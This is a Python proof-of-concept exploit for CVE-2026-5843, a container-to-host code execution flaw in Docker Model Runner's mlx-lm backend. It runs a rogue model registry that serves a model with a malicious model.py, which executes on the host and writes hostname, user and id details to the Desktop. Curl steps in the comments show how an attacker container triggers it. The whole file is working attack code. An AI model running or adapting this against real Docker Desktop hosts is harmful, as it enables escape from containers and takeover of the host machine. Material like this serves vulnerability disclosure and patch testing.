#!/usr/bin/env python3
# CVE-2026-5843
# Docker Model Runner / mlx-lm model_file importlib container-to-host RCE
# Affects: Docker Desktop <= 4.70.x (Apple Silicon)
# Fixed in: Docker Desktop 4.71.0
#
# Usage:
#   1. python3 poc_cve_2026_5843.py
#   2. docker run -d --name attacker curlimages/curl sleep 3600
#   3. docker exec -it attacker sh
#   4. curl -X POST http://model-runner.docker.internal/api/pull \
#        -H 'Content-Type: application/json' \
#        -d '{"name":"host.docker.internal:5555/evil/model:latest"}'
#   5. curl --max-time 120 -X POST \
#        http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
#        -H 'Content-Type: application/json' \
#        -d '{"model":"host.docker.internal:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
#   6. cat ~/Desktop/mlx.txt

import hashlib
import http.server
import json
import struct
import numpy as np

PORT = 5555

def sha(data):
    return "sha256:" + hashlib.sha256(data).hexdigest()

PAYLOAD = b"""\
import os, socket, time

desktop = os.path.expanduser("~/Desktop")
os.makedirs(desktop, exist_ok=True)
with open(os.path.join(desktop, "mlx.txt"), "w") as f:
    f.write(f"hostname: {socket.gethostname()}\\n")
    f.write(f"user:     {os.popen('whoami').read().strip()}\\n")
    f.write(f"id:       {os.popen('id').read().strip()}\\n")
    f.write(f"time:     {time.ctime()}\\n")

import mlx.nn as nn
import dataclasses, inspect

@dataclasses.dataclass
class ModelArgs:
    hidden_size: int = 64
    num_hidden_layers: int = 1
    intermediate_size: int = 128
    num_attention_heads: int = 2
    vocab_size: int = 32000
    rms_norm_eps: float = 1e-5

    @classmethod
    def from_dict(cls, d):
        valid = {k for k in inspect.signature(cls).parameters}
        return cls(**{k: v for k, v in d.items() if k in valid})

class Model(nn.Module):
    def __init__(self, args): super().__init__()
    def __call__(self, x, **kw): return x
    def sanitize(self, w): return w
"""

H, I, V = 64, 128, 32000

CONFIG = json.dumps({
    "architectures": ["LlamaForCausalLM"], "model_type": "llama",
    "model_file": "model.py",
    "hidden_size": H, "intermediate_size": I, "num_attention_heads": 2,
    "num_hidden_layers": 1, "num_key_value_heads": 2, "vocab_size": V,
    "max_position_embeddings": 2048, "torch_dtype": "float32",
    "rms_norm_eps": 1e-5, "rope_theta": 10000.0, "head_dim": 32,
}, indent=2).encode()

WEIGHTS = {
    "model.embed_tokens.weight":                        (V, H),
    "model.layers.0.self_attn.q_proj.weight":           (H, H),
    "model.layers.0.self_attn.k_proj.weight":           (H, H),
    "model.layers.0.self_attn.v_proj.weight":           (H, H),
    "model.layers.0.self_attn.o_proj.weight":           (H, H),
    "model.layers.0.mlp.gate_proj.weight":              (I, H),
    "model.layers.0.mlp.up_proj.weight":                (I, H),
    "model.layers.0.mlp.down_proj.weight":              (H, I),
    "model.layers.0.input_layernorm.weight":            (H,),
    "model.layers.0.post_attention_layernorm.weight":   (H,),
    "model.norm.weight":                                (H,),
    "lm_head.weight":                                   (V, H),
}

def build_safetensors():
    parts, header, offset = [], {"__metadata__": {"format": "pt"}}, 0
    for name, shape in WEIGHTS.items():
        raw = np.zeros(shape, dtype=np.float32).tobytes()
        header[name] = {"dtype": "F32", "shape": list(shape), "data_offsets": [offset, offset + len(raw)]}
        parts.append(raw)
        offset += len(raw)
    hdr = json.dumps(header).encode()
    return struct.pack("<Q", len(hdr)) + hdr + b"".join(parts)

SAFETENSORS = build_safetensors()

FILES = {
    "model.safetensors": (SAFETENSORS, "application/vnd.docker.ai.safetensors"),
    "config.json":       (CONFIG,      "application/vnd.docker.ai.model.file"),
    "model.py":          (PAYLOAD,     "application/vnd.docker.ai.model.file"),
}

MODEL_CONFIG = json.dumps({
    "config": {"format": "safetensors", "architecture": "llama", "parameters": "1B", "size": "1B"},
    "rootfs": {"type": "layers", "diff_ids": [sha(d) for d, _ in FILES.values()]},
}).encode()

LAYERS = [
    {"mediaType": mt, "digest": sha(d), "size": len(d),
     "annotations": {"org.cncf.model.filepath": f}}
    for f, (d, mt) in FILES.items()
]

MANIFEST = json.dumps({
    "schemaVersion": 2,
    "mediaType": "application/vnd.oci.image.manifest.v1+json",
    "config": {
        "mediaType": "application/vnd.docker.ai.model.config.v0.1+json",
        "digest": sha(MODEL_CONFIG), "size": len(MODEL_CONFIG),
    },
    "layers": LAYERS,
}).encode()

BLOBS = {sha(d): d for d, _ in FILES.values()}
BLOBS[sha(MODEL_CONFIG)] = MODEL_CONFIG

class Handler(http.server.BaseHTTPRequestHandler):
    def log_message(self, *a):
        pass

    def _respond(self, code, body=b"", ct="application/json", headers={}):
        self.send_response(code)
        self.send_header("Content-Type", ct)
        self.send_header("Content-Length", str(len(body)))
        for k, v in headers.items():
            self.send_header(k, v)
        self.end_headers()
        if self.command == "GET":
            self.wfile.write(body)

    def do_GET(self):  self._route()
    def do_HEAD(self): self._route()

    def _route(self):
        p = self.path
        if p.rstrip("/") == "/v2":
            return self._respond(200, b"{}", headers={"Docker-Distribution-API-Version": "registry/2.0"})
        if "/manifests/" in p:
            return self._respond(200, MANIFEST,
                ct="application/vnd.oci.image.manifest.v1+json",
                headers={"Docker-Content-Digest": sha(MANIFEST)})
        if "/blobs/" in p:
            d = p.split("/blobs/")[-1]
            if d in BLOBS:
                return self._respond(200, BLOBS[d], ct="application/octet-stream",
                    headers={"Docker-Content-Digest": d})
            return self._respond(404)
        self._respond(200)

if __name__ == "__main__":
    print(f"[*] CVE-2026-5843 registry listening on :{PORT}")
    http.server.HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()